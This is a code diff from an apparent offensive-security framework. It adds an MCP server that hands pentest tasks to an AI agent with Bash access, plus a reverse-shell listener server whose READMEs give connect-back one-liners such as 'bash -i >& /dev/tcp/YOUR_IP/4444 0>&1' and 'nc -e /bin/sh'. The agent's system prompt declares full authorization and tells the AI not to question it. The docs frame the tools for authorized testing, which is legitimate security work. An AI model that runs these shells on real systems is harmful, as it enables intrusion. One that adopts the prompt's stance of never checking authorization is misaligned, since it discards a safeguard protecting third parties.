description="执行渗透测试任务。下发任务描述后,pent_claude_agent 会作为独立的渗透测试工程师,使用 Claude Agent 执行任务并返回结果。支持:端口扫描、漏洞探测、Web 安全测试、信息收集等。",
)
async def pent_claude_run_pentest_task(task: str) -> str:
"""Run a penetration testing task. The agent executes independently and returns results."""
return await _run_claude_agent(task)
@app.tool(
description="分析漏洞信息。传入漏洞描述、PoC、影响范围等,由 Agent 进行专业分析并给出修复建议。",
)
async def pent_claude_analyze_vulnerability(vuln_info: str) -> str:
"""Analyze vulnerability information and provide remediation suggestions."""
prompt = f"请对以下漏洞信息进行专业分析,包括:风险等级、影响范围、利用方式、修复建议。\n\n{vuln_info}"
return await _run_claude_agent(prompt)
@app.tool(
description="执行指定任务。通用任务执行入口,Agent 会根据任务内容自动选择合适的工具和方法。",
)
async def pent_agent_execute(task: str) -> str:
"""Execute a task. The agent chooses appropriate tools and methods."""
return await _run_claude_agent(task)
@app.tool(
description="对目标进行安全诊断。可传入 URL、IP、域名等,Agent 会进行初步的安全评估和诊断。",
)
async def pent_agent_diagnose(target: str) -> str:
"""Diagnose a target (URL, IP, domain) for security assessment."""
prompt = f"请对以下目标进行安全诊断和初步评估:{target}\n\n包括:可达性、开放服务、常见漏洞面等。"
return await _run_claude_agent(prompt)
@app.tool(
description="获取 pent_claude_agent 的当前状态:最近任务、结果摘要、执行次数等。",
)
def pent_claude_status() -> str:
"""Get the current status of pent_claude_agent."""
global _last_task, _last_result, _task_count
lines = [
f"任务执行次数: {_task_count}",
f"最近任务: {_last_task or '-'}",
f"最近结果摘要: {(str(_last_result or '-')[:200] + '...') if _last_result and len(str(_last_result)) > 200 else (_last_result or '-')}",
f"Claude SDK 可用: {_claude_sdk_available}",
]
return "\n".join(lines)
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="Pent Claude Agent MCP Server")
parser.add_argument(
"--config",
default=None,
help="Path to pent_claude_agent config YAML (env: PENT_CLAUDE_AGENT_CONFIG)",
)
args, _ = parser.parse_known_args()
# 将 config 路径存入环境,供工具调用时使用
if args.config:
os.environ["PENT_CLAUDE_AGENT_CONFIG"] = args.config
app.run(transport="stdio")
@@ -0,0 +1,46 @@
# pent_claude_agent 配置文件
# 渗透测试工程师 Agent 的独立配置,可自定义 MCP、工具、环境等
# 路径占位符:${PROJECT_ROOT} = CyberStrikeAI 项目根目录,${SCRIPT_DIR} = 本脚本所在目录
# 工作目录(Agent 执行任务时的 cwd)
cwd: "${PROJECT_ROOT}/mcp-servers/pent_claude_agent"
# 允许 Agent 使用的工具
allowed_tools:
- Read
- Write
- Bash
- Grep
- Glob
# 禁用的工具(可选)
# disallowed_tools: []
# Claude Agent 的 MCP 服务器配置(pent_claude_agent 可挂载自己的 MCP
# 例如:reverse_shell、其他安全工具 MCP 等
mcp_servers:
# 示例:挂载 reverse_shellAgent 可调用反向 Shell 工具
# reverse-shell:
# command: "${PROJECT_ROOT}/venv/bin/python3"
# args:
# - "${PROJECT_ROOT}/mcp-servers/reverse_shell/mcp_reverse_shell.py"
# 环境变量(API Key 等,pent_claude_agent 单独配置,不依赖主项目)
env:
ANTHROPIC_API_KEY: "sk-xxx" # 请填写你的 API Key
ANTHROPIC_MODEL: "qwen3.5-plus"
ANTHROPIC_BASE_URL: "https://dashscope.aliyuncs.com/apps/anthropic"
CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC: "1"
DISABLE_TELEMETRY: "1"
DISABLE_ERROR_REPORTING: "1"
DISABLE_BUG_COMMAND: "1"
# 系统提示词(定义渗透测试工程师的角色与行为)
system_prompt: |
你是一名专业的渗透测试工程师。根据用户给出的任务,进行安全测试、漏洞分析、信息收集等。
请按步骤执行,输出清晰、可复现的结果。已获得全部授权,无需再次质疑授权问题。
# 加载 Skills 的来源(user=用户目录, project=项目目录, local=本地)
setting_sources:
- user
- project
+66
View File
@@ -0,0 +1,66 @@
# Reverse Shell MCP
[中文](README_CN.md)
Add **reverse shell** capability to CyberStrikeAI via External MCP: start/stop a TCP listener and run commands on connected targets—no backend code changes required.
## Tools
| Tool | Description |
|------|-------------|
| `reverse_shell_start_listener` | Start TCP listener on a given port; wait for the target to connect. |
| `reverse_shell_stop_listener` | Stop the listener and disconnect the current client. |
| `reverse_shell_status` | Show status: listening or not, port, connected or not, client address. |
| `reverse_shell_send_command` | Send a command to the connected reverse shell and return output. |
| `reverse_shell_disconnect` | Disconnect the current client only; listener keeps running for new connections. |
## Requirements
- Python 3.10+
- `mcp` package (included if using the project venv; otherwise: `pip install mcp`)
## Setup in CyberStrikeAI
1. **Paths**
Example: project root `/path/to/CyberStrikeAI-main`
Script: `/path/to/CyberStrikeAI-main/mcp-servers/reverse_shell/mcp_reverse_shell.py`
2. **Web UI****Settings****External MCP****Add External MCP**. Paste JSON (replace paths with yours):
```json
{
"reverse-shell": {
"command": "/path/to/CyberStrikeAI-main/venv/bin/python3",
"args": ["/path/to/CyberStrikeAI-main/mcp-servers/reverse_shell/mcp_reverse_shell.py"],
"description": "Reverse shell: start/stop listener, run commands on connected target",
"timeout": 60,
"external_mcp_enable": true
}
}
```
- `command`: Prefer the project **venv** Python; or use system `python3`.
- `args`: **Must be absolute path** to `mcp_reverse_shell.py`.
- Save, then click **Start** for this MCP to use the tools in chat.
3. **Typical workflow**
- Call `reverse_shell_start_listener(4444)` to listen on port 4444.
- On the target, run a reverse connection, e.g.:
- Linux: `bash -i >& /dev/tcp/YOUR_IP/4444 0>&1` or `nc -e /bin/sh YOUR_IP 4444`
- Or use msfvenom-generated payloads, etc.
- After connection, use `reverse_shell_send_command("id")`, `reverse_shell_send_command("whoami")`, etc.
- Use `reverse_shell_status` to check state, `reverse_shell_disconnect` to drop the client only, `reverse_shell_stop_listener` to stop listening.
## Run locally (optional)
```bash
# From project root, with venv
./venv/bin/python mcp-servers/reverse_shell/mcp_reverse_shell.py
```
The process talks MCP over stdio; CyberStrikeAI starts it the same way when using External MCP.
## Security
- Use only in authorized, isolated test environments.
- Listener binds to `0.0.0.0`; restrict access with firewall or network policy if the port is exposed.
+66
View File
@@ -0,0 +1,66 @@
# 反向 Shell MCP
[English](README.md)
通过**外部 MCP** 为 CyberStrikeAI 增加**反向 Shell** 能力:开启/停止 TCP 监听、与已连接目标交互执行命令,**无需修改后端代码**。
## 工具说明
| 工具 | 说明 |
|------|------|
| `reverse_shell_start_listener` | 在指定端口启动 TCP 监听,等待目标机反向连接。 |
| `reverse_shell_stop_listener` | 停止监听并断开当前客户端。 |
| `reverse_shell_status` | 查看状态:是否监听、端口、是否已连接及客户端地址。 |
| `reverse_shell_send_command` | 向已连接的反向 Shell 发送命令并返回输出。 |
| `reverse_shell_disconnect` | 仅断开当前客户端,不停止监听(可继续等待新连接)。 |
## 依赖
- Python 3.10+
- 使用项目自带 venv 时已包含 `mcp`;单独运行需:`pip install mcp`
## 在 CyberStrikeAI 中接入
1. **路径**
例如项目根为 `/path/to/CyberStrikeAI-main`,则脚本路径为:
`/path/to/CyberStrikeAI-main/mcp-servers/reverse_shell/mcp_reverse_shell.py`
2. **Web 界面****设置****外部 MCP****添加外部 MCP**,填入以下 JSON(将路径替换为你的实际路径):
```json
{
"reverse-shell": {
"command": "/path/to/CyberStrikeAI-main/venv/bin/python3",
"args": ["/path/to/CyberStrikeAI-main/mcp-servers/reverse_shell/mcp_reverse_shell.py"],
"description": "反向 Shell:开启/停止监听、与目标交互执行命令",
"timeout": 60,
"external_mcp_enable": true
}
}
```
- `command`:建议使用项目 **venv** 中的 Python,或系统 `python3`
- `args`**必须使用绝对路径** 指向 `mcp_reverse_shell.py`
- 保存后点击该 MCP 的 **启动**,即可在对话中通过 AI 调用上述工具。
3. **使用流程示例**
- 调用 `reverse_shell_start_listener(4444)` 在 4444 端口开始监听。
- 在目标机上执行反向连接,例如:
- Linux: `bash -i >& /dev/tcp/YOUR_IP/4444 0>&1``nc -e /bin/sh YOUR_IP 4444`
- 或使用 msfvenom 生成 payload 等。
- 连接成功后,用 `reverse_shell_send_command("id")``reverse_shell_send_command("whoami")` 等与目标交互。
- 需要时用 `reverse_shell_status` 查看状态,用 `reverse_shell_disconnect` 仅断开客户端,用 `reverse_shell_stop_listener` 完全停止监听。
## 本地单独运行(可选)
```bash
# 在项目根目录,使用 venv
./venv/bin/python mcp-servers/reverse_shell/mcp_reverse_shell.py
```
进程通过 stdio 与 MCP 客户端通信;CyberStrikeAI 以 stdio 方式启动该脚本时行为相同。
## 安全提示
- 仅在有授权、隔离的测试环境中使用。
- 监听在 `0.0.0.0`,若端口对外暴露存在风险,请通过防火墙或网络策略限制访问。
@@ -0,0 +1,272 @@
#!/usr/bin/env python3
"""
Reverse Shell MCP Server - 反向 Shell MCP 服务
通过 MCP 协议暴露反向 Shell 能力开启/停止监听与已连接客户端交互执行命令
无需修改 CyberStrikeAI 后端设置 外部 MCP中以 stdio 方式添加即可
依赖pip install mcp或使用项目 venv
运行python mcp_reverse_shell.py python3 mcp_reverse_shell.py
"""
from __future__ import annotations
import asyncio
import socket
import threading
import time
from typing import Any
from mcp.server.fastmcp import FastMCP
# ---------------------------------------------------------------------------
# 反向 Shell 状态(单例:一个监听器、一个已连接客户端)
# ---------------------------------------------------------------------------
_LISTENER: socket.socket | None = None
_LISTENER_THREAD: threading.Thread | None = None
_LISTENER_PORT: int | None = None
_CLIENT_SOCK: socket.socket | None = None
_CLIENT_ADDR: tuple[str, int] | None = None
_LOCK = threading.Lock()
# 用于 send_command 的输出结束标记(避免无限等待)
_END_MARKER = "__RS_DONE__"
_RECV_TIMEOUT = 30.0
_RECV_CHUNK = 4096
def _get_local_ips() -> list[str]:
"""获取本机 IP 列表(供目标机反弹连接用),优先非 127 地址。"""
ips: list[str] = []
try:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect(("8.8.8.8", 80))
ip = s.getsockname()[0]
s.close()
if ip and ip != "127.0.0.1":
ips.append(ip)
except OSError:
pass
if not ips:
try:
ip = socket.gethostbyname(socket.gethostname())
if ip:
ips.append(ip)
except OSError:
pass
if not ips:
ips.append("127.0.0.1")
return ips
def _accept_loop(port: int) -> None:
"""在后台线程中:bind、listen、accept,只接受一个客户端。"""
global _LISTENER, _CLIENT_SOCK, _CLIENT_ADDR, _LISTENER_PORT
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind(("0.0.0.0", port))
sock.listen(1)
with _LOCK:
_LISTENER = sock
# 阻塞 accept,只接受一个连接
client, addr = sock.accept()
with _LOCK:
_CLIENT_SOCK = client
_CLIENT_ADDR = (addr[0], addr[1])
except OSError:
pass
finally:
with _LOCK:
if _LISTENER:
try:
_LISTENER.close()
except OSError:
pass
_LISTENER = None
_LISTENER_PORT = None
def _start_listener(port: int) -> str:
global _LISTENER_THREAD, _LISTENER_PORT, _CLIENT_SOCK, _CLIENT_ADDR
with _LOCK:
if _LISTENER is not None or (_LISTENER_THREAD is not None and _LISTENER_THREAD.is_alive()):
return f"已在监听中(端口: {_LISTENER_PORT}),请先 stop_listener 再重新 start。"
if _CLIENT_SOCK is not None:
try:
_CLIENT_SOCK.close()
except OSError:
pass
_CLIENT_SOCK = None
_CLIENT_ADDR = None
th = threading.Thread(target=_accept_loop, args=(port,), daemon=True)
th.start()
_LISTENER_THREAD = th
time.sleep(0.2)
with _LOCK:
if _LISTENER is not None:
_LISTENER_PORT = port
ips = _get_local_ips()
addrs = ", ".join(f"{ip}:{port}" for ip in ips)
return (
f"已在 0.0.0.0:{port} 开始监听。"
f"目标机请反弹到: {addrs}(任选其一)。连接后使用 reverse_shell_send_command 执行命令。"
)
return f"监听 0.0.0.0:{port} 已启动(若端口被占用会失败,请检查)。"
def _stop_listener() -> str:
global _LISTENER, _LISTENER_THREAD, _CLIENT_SOCK, _CLIENT_ADDR, _LISTENER_PORT
with _LOCK:
if _LISTENER is not None:
try:
_LISTENER.close()
except OSError:
pass
_LISTENER = None
_LISTENER_PORT = None
if _CLIENT_SOCK is not None:
try:
_CLIENT_SOCK.close()
except OSError:
pass
_CLIENT_SOCK = None
_CLIENT_ADDR = None
return "监听已停止,已断开当前客户端(如有)。"
def _disconnect_client() -> str:
global _CLIENT_SOCK, _CLIENT_ADDR
with _LOCK:
if _CLIENT_SOCK is None:
return "当前无已连接客户端。"
try:
_CLIENT_SOCK.close()
except OSError:
pass
addr = _CLIENT_ADDR
_CLIENT_SOCK = None
_CLIENT_ADDR = None
return f"已断开客户端 {addr}"
def _status() -> dict[str, Any]:
with _LOCK:
listening = _LISTENER is not None
port = _LISTENER_PORT
connected = _CLIENT_SOCK is not None
addr = _CLIENT_ADDR
connect_back = None
if listening and port is not None:
ips = _get_local_ips()
connect_back = [f"{ip}:{port}" for ip in ips]
return {
"listening": listening,
"port": port,
"connect_back": connect_back,
"connected": connected,
"client_address": f"{addr[0]}:{addr[1]}" if addr else None,
}
def _send_command_blocking(command: str, timeout: float = _RECV_TIMEOUT) -> str:
"""在同步上下文中向已连接客户端发送命令并读取输出(带结束标记)。"""
global _CLIENT_SOCK, _CLIENT_ADDR
with _LOCK:
client = _CLIENT_SOCK
if client is None:
return "错误:当前无已连接客户端。请先 start_listener,等待目标连接后再 send_command。"
# 使用结束标记以便可靠地截断输出
wrapped = f"{command.strip()}\necho {_END_MARKER}\n"
try:
client.settimeout(timeout)
client.sendall(wrapped.encode("utf-8", errors="replace"))
data = b""
while True:
try:
chunk = client.recv(_RECV_CHUNK)
if not chunk:
break
data += chunk
if _END_MARKER.encode() in data:
break
except socket.timeout:
break
text = data.decode("utf-8", errors="replace")
if _END_MARKER in text:
text = text.split(_END_MARKER)[0].strip()
return text or "(无输出)"
except (ConnectionResetError, BrokenPipeError, OSError) as e:
with _LOCK:
if _CLIENT_SOCK is client:
_CLIENT_SOCK = None
_CLIENT_ADDR = None
return f"连接已断开: {e}"
except Exception as e:
return f"执行异常: {e}"
# ---------------------------------------------------------------------------
# MCP 服务与工具
# ---------------------------------------------------------------------------
app = FastMCP(
name="reverse-shell",
instructions="反向 Shell MCP:在本地开启 TCP 监听,等待目标机连接后通过工具执行命令。",
)
@app.tool(
description="在指定端口启动反向 Shell 监听。目标机需执行反向连接(如 nc -e /bin/sh YOUR_IP PORT 或 bash -i >& /dev/tcp/YOUR_IP/PORT 0>&1)。仅支持一个监听器与一个客户端。",
)
def reverse_shell_start_listener(port: int) -> str:
"""Start reverse shell listener on the given port (e.g. 4444)."""
if port < 1 or port > 65535:
return "端口需在 165535 之间。"
return _start_listener(port)
@app.tool(
description="停止反向 Shell 监听并断开当前客户端。",
)
def reverse_shell_stop_listener() -> str:
"""Stop the listener and disconnect the current client."""
return _stop_listener()
@app.tool(
description="查看当前状态:是否在监听、端口、是否有客户端连接及客户端地址。",
)
def reverse_shell_status() -> str:
"""Get listener and client connection status."""
s = _status()
lines = [
f"监听中: {s['listening']}",
f"端口: {s['port']}",
f"反弹地址(目标机连接): {', '.join(s['connect_back']) if s.get('connect_back') else '-'}",
f"已连接: {s['connected']}",
f"客户端: {s['client_address'] or '-'}",
]
return "\n".join(lines)
@app.tool(
description="向已连接的反向 Shell 客户端发送一条命令并返回输出。若无连接请先 start_listener 并等待目标连接。",
)
async def reverse_shell_send_command(command: str) -> str:
"""Send a command to the connected reverse shell client and return output."""
# 在线程池中执行阻塞的 socket I/O,避免长时间占用 MCP 主线程,使 status/stop_listener 等仍可响应
return await asyncio.to_thread(_send_command_blocking, command)
@app.tool(
description="仅断开当前客户端连接,不停止监听(可继续等待新连接)。",
)
def reverse_shell_disconnect() -> str:
"""Disconnect the current client without stopping the listener."""
return _disconnect_client()
if __name__ == "__main__":
app.run(transport="stdio")
+15
View File
@@ -202,6 +202,7 @@ description: |
```yaml
- name: "ports"
type: "array"
item_type: "number"
description: "端口列表"
required: false
# 输入: [80, 443, 8080]
@@ -364,6 +365,13 @@ parameters:
- 说明权限要求
- 提醒仅在授权环境中使用
6. **单次执行时长与超时(最佳实践)**
- 若某工具经常执行很久(如超过 10~30 分钟仍显示「执行中」),属于异常长时间挂起,建议:
- 在 **config.yaml**`agent.tool_timeout_minutes` 中设置单次工具最大执行时长(默认 10 分钟),超时后会自动终止并释放资源;
- 需要更长扫描时再适当调大该值(如 20、30),不建议设为 0(不限制);
- 在任务监控页可对整条任务使用「停止任务」中断当前对话与后续工具调用;
- 工具实现上尽量支持「可中断」或内置超时(如脚本内设 timeout),以便与系统超时协同。
## 禁用工具
要禁用某个工具,只需将配置文件中的 `enabled` 字段设置为 `false`,或者直接删除/重命名配置文件。
@@ -390,6 +398,13 @@ A: 对于数组类型参数,系统会自动转换为逗号分隔的字符串
A: 某些工具(如 `nmap`)支持 `scan_type` 参数来覆盖默认的扫描类型。对于其他情况,可以使用 `additional_args` 参数。
### Q: 工具执行超过 30 分钟一直显示「执行中」怎么办?
A: 属于异常长时间挂起,建议:
1. 在 **config.yaml** 中配置 `agent.tool_timeout_minutes`(默认 10),单次工具超过该分钟数会自动终止;
2. 在监控页对该任务使用「停止任务」立即中断;
3. 若该工具确实需要更长时间,可适当增大 `tool_timeout_minutes`,但不建议设为 0。
### Q: 工具执行失败怎么办?
A: 检查以下几点:
+330 -151
View File
@@ -2,121 +2,168 @@
## Overview
Each tool ships with its own YAML configuration placed in the `tools/` directory. This keeps definitions modular, easier to review, and simple to extend. The runtime automatically loads every `.yaml` / `.yml` file in that directory.
Each tool has its own configuration file under the `tools/` directory. This keeps tool definitions clear, easy to maintain, and manageable. The system automatically loads all `.yaml` and `.yml` files in `tools/`.
## File Structure
## Configuration File Format
The table below enumerates every supported top-level field. Double-check each entry before adding a new tool:
Each tool configuration file is a YAML file. The table below lists supported top-level fields and whether they are required. Check each item before submitting:
| Field | Required | Type | Description |
|-------|----------|------|-------------|
| `name` | ✅ | string | Unique identifier. Prefer lowercase letters, digits, and hyphens. |
| `command` | ✅ | string | Executable or script name. Must exist in `$PATH` or be an absolute path. |
| `enabled` | ✅ | bool | Controls MCP registration. Disabled tools are ignored by the loader. |
| `description` | ✅ | string | Full Markdown description for MCP `resources/read` and AI comprehension. |
| `short_description` | Optional | string | 2050 character summary shown in tool lists. When omitted, the loader extracts the start of `description`. |
| `args` | Optional | string[] | Static arguments prepended to every invocation—useful for default scan profiles. |
| `parameters` | Optional | array | Runtime parameter definitions. See **Parameter Definition** for details. |
| `arg_mapping` | Optional | string | Mapping strategy (`auto`/`manual`/`template`). Defaults to `auto`; override only for legacy tooling. |
| `name` | ✅ | string | Unique tool identifier; use lowercase letters, digits, and hyphens. |
| `command` | ✅ | string | Command or script to run; must be on system PATH or an absolute path. |
| `enabled` | ✅ | bool | Whether to register with MCP; set to `false` to skip the tool. |
| `description` | ✅ | string | Full description, multi-line Markdown, for AI and `resources/read` queries. |
| `short_description` | Optional | string | 2050 character summary for tool lists and lower token usage; defaults to start of `description` if omitted. |
| `args` | Optional | string[] | Fixed arguments prepended to the command line; often used for default scan modes. |
| `parameters` | Optional | array | Runtime parameter list; see **Parameter Definition** below. |
| `arg_mapping` | Optional | string | Parameter mapping mode (`auto`/`manual`/`template`); default `auto`; only set if needed. |
> If a required field is missing or malformed, the loader skips that tool and logs a warning without blocking the service.
> If a field is wrong or a required field is missing, the loader skips that tool and logs a warning; other tools are unaffected.
## Tool Descriptions
### Short Description (`short_description`)
- **Purpose**: compact summary for tool listings and to minimise language model context usage.
- **Guideline**: one concise sentence (2050 Chinese characters or English equivalents).
- **Purpose**: Used in tool lists to reduce tokens sent to the model.
- **Guideline**: One sentence (2050 characters) describing the tools main use.
- **Example**: `"Network scanner for discovering hosts, open ports, and services"`
### Detailed Description (`description`)
Supports multi-line Markdown. Recommended contents:
Use multi-line text and include:
1. **Capabilities** what the tool does.
2. **Usage scenarios** when to prefer this tool.
3. **Warnings** permissions, runtime risks, side-effects.
4. **Examples** optional walkthroughs or sample commands.
1. **Capabilities**: What the tool does.
2. **Usage scenarios**: When to use it.
3. **Warnings**: Caveats and safety notes.
4. **Examples**: Optional usage examples.
**Important**:
- Tool menus and MCP summaries use `short_description` when available.
- Without `short_description`, the loader trims the first line or first 100 characters of `description`.
- Full descriptions are accessible through the MCP `resources/read` endpoint (`tool://<tool_name>`).
**Notes**:
- Tool lists use `short_description` when present.
- If `short_description` is missing, the system uses the first line or first 100 characters of `description`.
- Full descriptions are available via MCP `resources/read` (URI: `tool://tool_name`).
This reduces token usage, especially with many tools (e.g. 100+).
## Parameter Definition
Each parameter object accepts the fields below:
Each parameter can include:
- `name` *(required)* parameter key used in CLI construction and MCP schema.
- `type` *(required)* `string`, `int`/`integer`, `bool`/`boolean`, `array`, etc.
- `description` *(required)* Markdown-friendly explanation including purpose, format rules, example values, and safety notes.
- `required` boolean; when `true`, missing values cause the executor to return an error.
- `default` fallback value applied if the caller omits the argument.
- `flag` CLI switch such as `-u` or `--url`.
- `position` zero-based index for positional arguments.
- `format` rendering strategy:
- `flag` *(default)*`--flag value` / `-f value`
- `combined``--flag=value`
- `positional` → appended according to `position`
- `template` → uses the `template` string
- `template` placeholder string (supports `{flag}`, `{value}`, `{name}`) when `format: "template"`.
- `options` array of allowed values; surfaced as `enum` entries in the MCP schema.
- `name`: Parameter name.
- `type`: One of string, int, bool, array.
- `description`: Full description (multi-line supported).
- `required`: Whether it is required (true/false).
- `default`: Default value.
- `flag`: CLI flag (e.g. `-u`, `--url`, `-p`).
- `position`: Zero-based index for positional arguments.
- `format`: One of `"flag"`, `"positional"`, `"combined"`, `"template"`.
- `template`: Template string when `format` is `"template"`.
- `options`: Allowed values for enums.
### Format Reference
### Parameter Formats
- **`flag`**: pass the flag and the value separately.
Example: `flag: "-u"``-u https://example.com`
- **`flag`**: Flag plus value, e.g. `--flag value` or `-f value`
- Example: `flag: "-u"``-u http://example.com`
- **`positional`**: insert according to `position`.
Example: `position: 0` becomes the first positional argument.
- **`positional`**: Added in order by position.
- Example: `position: 0` → first positional argument.
- **`combined`**: join flag and value in one token.
Example: `flag: "--level"`, `format: "combined"``--level=3`
- **`combined`**: Single token `--flag=value`.
- Example: `flag: "--level"`, `format: "combined"``--level=3`
- **`template`**: custom rendering.
Example: `template: "{flag} {value}"`fully manual control.
- **`template`**: Custom template.
- Example: `template: "{flag} {value}"`custom format.
### Reserved Parameters
### Special Parameters
- `additional_args` allows users to append arbitrary CLI fragments. The executor tokenises the string (preserving quoted groups) and appends the resulting list to the command.
- `scan_type` for scanners like `nmap`, replacing default scan switches (e.g., `-sV -sC`).
- `action` consumed by server-side branching logic and intentionally not forwarded to the command line.
#### `additional_args`
## Parameter Description Checklist
Used to pass extra CLI options not defined in the parameter list. The value is split on spaces into multiple arguments.
When documenting a parameter, include:
**Use cases:**
- Advanced tool options.
- Options not in the schema.
- Complex argument combinations.
1. **Purpose** what the value controls.
2. **Format rules** accepted patterns (URL, CIDR, path, etc.).
3. **Example values** list several realistic samples.
4. **Notes** permissions, performance impact, or other caveats.
**Example:**
```yaml
- name: "additional_args"
type: "string"
description: "Extra CLI arguments; separate multiple options with spaces"
required: false
format: "positional"
```
Suggested style: Markdown lists, bold emphasis for key cautions, and code blocks for complex examples.
**Usage:**
- `additional_args: "--script vuln -O"``["--script", "vuln", "-O"]`
- `additional_args: "-T4 --max-retries 3"``["-T4", "--max-retries", "3"]`
### Example
**Notes:**
- Split by spaces; quoted parts are preserved.
- Ensure valid syntax to avoid command injection.
- Appended at the end of the command.
#### `scan_type` (tool-specific)
Some tools (e.g. `nmap`) support `scan_type` to override the default scan arguments.
**Example (nmap):**
```yaml
- name: "scan_type"
type: "string"
description: "Scan type options; overrides default scan arguments"
required: false
format: "positional"
```
**Usage:**
- `scan_type: "-sV -sC"` → version and script scan.
- `scan_type: "-A"` → aggressive scan.
**Notes:**
- If set, it replaces the tools default scan arguments.
- Multiple options separated by spaces.
### Parameter Description Guidelines
Parameter descriptions should include:
1. **Purpose**: What the parameter does.
2. **Format**: Expected format (e.g. URL, port range).
3. **Example values**: Concrete examples (list if several).
4. **Notes**: Permissions, performance, safety, etc.
**Style:**
- Use Markdown for readability.
- Use **bold** for important points.
- Use lists for multiple examples or options.
- Use code blocks for complex formats.
**Example:**
```yaml
description: |
Target IP address or domain. Accepts single IPs, ranges, CIDR blocks, or hostnames.
Target IP or domain. Can be a single IP, range, CIDR, or hostname.
**Example values**
**Example values:**
- Single IP: "192.168.1.1"
- Range: "192.168.1.1-100"
- CIDR: "192.168.1.0/24"
- Domain: "example.com"
**Notes**
**Notes:**
- Format must be valid.
- Required; cannot be empty.
- Validate address format before running to avoid false positives.
```
## Parameter Types
### Boolean
- `true` → adds only the flag (no value).
- `false` → suppresses the flag.
- Accepts `true`/`false`, `1`/`0`, and `"true"`/`"false"`.
### Boolean (`bool`)
- `true`: Add only the flag (e.g. `--flag`).
- `false`: Do not add the argument.
- Accepted: `true`/`false`, `1`/`0`, `"true"`/`"false"`.
**Example:**
```yaml
- name: "verbose"
type: "bool"
@@ -127,91 +174,68 @@ description: |
format: "flag"
```
### String
Most common parameter type; accepts any string value.
### String (`string`)
### Integer
Use for numeric inputs (ports, levels, limits).
General-purpose; any string value.
### Integer (`int` / `integer`)
For numbers (ports, levels, etc.).
**Example:**
```yaml
- name: "level"
type: "int"
description: "Level of detail, 1-5"
description: "Test level, 1-5"
required: false
default: 3
flag: "--level"
format: "combined" # --level=3
```
### Array
Automatically converted to a comma-separated string.
### Array (`array`)
Converted to a comma-separated string.
**Example:**
```yaml
- name: "ports"
type: "array"
description: "List of ports to scan"
item_type: "number"
description: "Port list"
required: false
# Input: [80, 443, 8080]
# Output: "80,443,8080"
```
## Special Parameters
## Examples
### `additional_args`
See existing configs under `tools/`:
```yaml
- name: "additional_args"
type: "string"
description: "Extra CLI arguments; separate multiple options with spaces"
required: false
format: "positional"
```
- `nmap.yaml`: Network scanner (`scan_type` and `additional_args`).
- `sqlmap.yaml`: SQL injection (`additional_args`).
- `nikto.yaml`: Web server scanner.
- `dirb.yaml`: Directory scanner.
- `exec.yaml`: System command execution.
Examples:
- `additional_args: "--script vuln -O"``["--script", "vuln", "-O"]`
- `additional_args: "-T4 --max-retries 3"``["-T4", "--max-retries", "3"]`
Notes:
- Quoted strings are preserved.
- Validate user input to avoid command injection.
- Appended at the end of the final command.
### `scan_type`
```yaml
- name: "scan_type"
type: "string"
description: "Overrides default scan switches"
required: false
format: "positional"
```
Examples:
- `scan_type: "-sV -sC"`
- `scan_type: "-A"`
Notes:
- Replaces default entries in the tools `args` list.
- Separate multiple flags with spaces.
## Complete Example (`nmap`)
### Full Example: nmap
```yaml
name: "nmap"
command: "nmap"
args: ["-sT", "-sV", "-sC"]
args: ["-sT", "-sV", "-sC"] # default scan type
enabled: true
short_description: "Network scanner for discovering hosts, open ports, and services"
description: |
Network mapping and port scanning utility.
Network mapping and port scanning for hosts, services, and open ports.
**Highlights**
**Capabilities:**
- Host discovery
- Port scanning
- Service identification
- OS fingerprinting
- Service/version detection
- OS detection
- NSE-based vulnerability checks
parameters:
@@ -224,62 +248,80 @@ parameters:
- name: "ports"
type: "string"
description: "Port range, e.g., 1-1000"
description: "Port range, e.g. 1-1000"
required: false
flag: "-p"
format: "flag"
- name: "scan_type"
type: "string"
description: "Override scan switches, e.g., '-sV -sC'"
description: "Scan type options, e.g. '-sV -sC'"
required: false
format: "positional"
- name: "additional_args"
type: "string"
description: "Extra nmap arguments, e.g., '--script vuln -O'"
description: "Extra nmap arguments, e.g. '--script vuln -O'"
required: false
format: "positional"
```
## Adding a New Tool
1. Create a YAML file in `tools/` (e.g., `tools/mytool.yaml`).
2. Fill out the top-level fields and parameter list.
3. Provide defaults and rich descriptions wherever possible.
4. Run `go run cmd/test-config/main.go` to validate the configuration.
5. Restart the service (or trigger a reload) so the UI and MCP registry pick up the change.
### Template
Create a new YAML file under `tools/`, e.g. `my_tool.yaml`:
```yaml
name: "tool_name"
command: "command"
name: "my_tool"
command: "my-command"
args: ["--default-arg"] # optional fixed args
enabled: true
short_description: "One-line summary"
# Short description (recommended) for tool list, fewer tokens
short_description: "One-line summary of what the tool does"
# Full description for docs and AI
description: |
Detailed description with Markdown formatting.
Full description; multi-line and Markdown supported.
**Capabilities:**
- Feature 1
- Feature 2
**Usage:**
- Scenario 1
- Scenario 2
**Notes:**
- Caveats
- Permissions
- Performance
parameters:
- name: "target"
type: "string"
description: "Explain the expected value, format, examples, and caveats"
description: |
Target parameter description.
**Example values:**
- "value1"
- "value2"
**Notes:**
- Format and limits
required: true
position: 0
format: "positional"
- name: "option"
type: "string"
description: "Optional flag parameter"
description: "Option parameter"
required: false
flag: "--option"
format: "flag"
- name: "verbose"
type: "bool"
description: "Enable verbose mode"
description: "Verbose mode"
required: false
default: false
flag: "-v"
@@ -287,33 +329,170 @@ parameters:
- name: "additional_args"
type: "string"
description: "Extra CLI options separated by spaces"
description: "Extra arguments; separate with spaces"
required: false
format: "positional"
```
## Validation & Troubleshooting
Restart the service to load the new tool.
- ✅ Verify required fields: `name`, `command`, `enabled`, `description`.
- ✅ Ensure parameter definitions use supported types and formats.
- ✅ Watch server logs for warnings when a tool fails to load.
- ✅ Use `go run cmd/test-config/main.go` to inspect parsed tool metadata.
### Best Practices
## Best Practices
1. **Parameter design**
- Define common parameters explicitly so the AI can use them.
- Use `additional_args` for advanced cases.
- Provide clear descriptions and examples.
1. **Parameter design** expose common flags individually; leverage `additional_args` for advanced scenarios.
2. **Documentation** combine `short_description` with thorough `description` to balance brevity and clarity.
3. **Defaults** provide sensible `default` values, especially for frequently used options.
4. **Validation prompts** describe expected formats and highlight constraints to help the AI and users avoid mistakes.
5. **Safety** warn about privileged commands, destructive actions, or high-impact scans.
2. **Descriptions**
- Use `short_description` to reduce tokens.
